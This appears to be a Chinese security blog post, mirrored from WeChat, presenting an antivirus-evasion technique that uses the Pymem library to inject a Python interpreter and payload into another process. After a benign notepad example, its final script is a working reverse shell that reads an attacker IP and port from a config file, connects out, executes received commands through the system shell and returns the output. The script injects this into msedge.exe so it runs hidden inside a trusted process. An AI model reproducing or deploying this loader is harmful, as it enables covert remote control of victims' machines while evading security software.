Skip to content

Latest commit

 

History

History
145 lines (65 loc) · 4.55 KB

[HB网络安全探究实验室]-2023-6-24-写外挂时偶然想到的免杀思路.md

File metadata and controls

145 lines (65 loc) · 4.55 KB

写外挂时偶然想到的免杀思路

原创 EX HB网络安全探究实验室

HB网络安全探究实验室

微信号 gh_db29c88c5c87

功能介绍 人生不为一事则长 欲成一事则短


__发表于

收录于合集

#免杀 4 个

#黑客 12 个

#渗透测试 12 个

#网络安全 17 个

#脚本语言 4 个

源码:

H4ckBu7eer-EX/pymem_shellcodeloader: pymem加载shellcode到其他进程 (github.com)


各位大佬端午好!

最近在研究游戏逆向的时候,发现一个好玩的库——Pymem

Pymem文档

https://pymem.readthedocs.io/en/latest/index.html


多说不宜,咱开门见山。这个Pymem除了修改内存,还可以将python解释器以dll的形式注入到其他进程,进而在其他进程内执行shellcode

贴一段官网介绍:

来看一段来自官方文档的代码,这段代码的使用 pymem 库来注入 Python 解释器和 Python shellcode 到 notepad.exe 进程中,注释很详细。


# 导入pymem模块,这是一个Python内存操作库 from pymem import Pymem # 导入os模块,这是一个提供了丰富的操作系统相关功能的库 import os # 导入subprocess模块,这是一个用于产生子进程,连接到它们的输入/输出/错误管道,获取它们的返回码的库 import subprocess   
# 使用subprocess.Popen启动记事本程序,并获取其进程对象 notepad = subprocess.Popen(['notepad.exe'])   
# 使用Pymem模块连接到记事本程序 pm = Pymem('notepad.exe')   
# 在记事本程序中注入Python解释器 pm.inject_python_interpreter()   
# 获取当前目录下的pymem_injection.txt文件的绝对路径,并将路径中的反斜杠替换为双反斜杠 filepath = os.path.join(os.path.abspath('.'), 'pymem_injection.txt') filepath = filepath.replace("\\", "\\\\")   
# 定义要注入的Python代码,这段代码会在记事本程序中执行,它会打开一个文件,写入一些内容,然后关闭文件 shellcode = """ f = open("{}", "w+") f.write("pymem_injection") f.close() """.format(filepath) # 将定义的Python代码注入到记事本程序中 pm.inject_python_shellcode(shellcode)  
 # 结束记事本程序 notepad.kill()

运行代码后会在pymem_injection.txt里写入pymem_injection。

那我们可以尝试用这种方式实现加载shellcode实现上线


正文:

先创建一个函数,用来指定shellcode和注入的进程


def inject(shellcode,process):        prcs = subprocess.Popen([process])        pm = Pymem(process)        pm.inject_python_interpreter()        pm.inject_python_shellcode(shellcode)        prcs.kill()

然后写一段shellcode


filepath = os.path.join(os.path.abspath('.'), 'pymem_injection.txt') filepath = filepath.replace("\\", "\\\\") sc = """ f = open("{}", "w+") f.write("pymem_injection") f.close() """.format(filepath)

看一下 shellcode 长什么样子(见程序输出),运行后已经将 pymem_injection 写入了

好了让我们来看看免杀写出来是什么样子



免杀.py:


from pymemloader import inject sc="""import subprocessimport socketwith open('cfg', 'r') as f:    sip = f.readline().strip()    sport = int(f.readline().strip())print(sip,sport)client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)client_socket.connect((sip, sport))while True:    recv_data = client_socket.recv(20480)    command=recv_data.decode('utf-8')    result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)    send_data=result.stdout.decode('gbk')    client_socket.send(send_data.encode('utf-8'))""" #上面的loader可以用自己的pythonshellcodeloader #我这里用的是我的python小控https://github.com/H4ckBu7eer-EX/python_remote_CMD inject(sc,"msedge.exe")

done!

预览时标签不可点

微信扫一扫
关注该公众号

知道了

微信扫一扫
使用小程序


取消 允许


取消 允许

: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看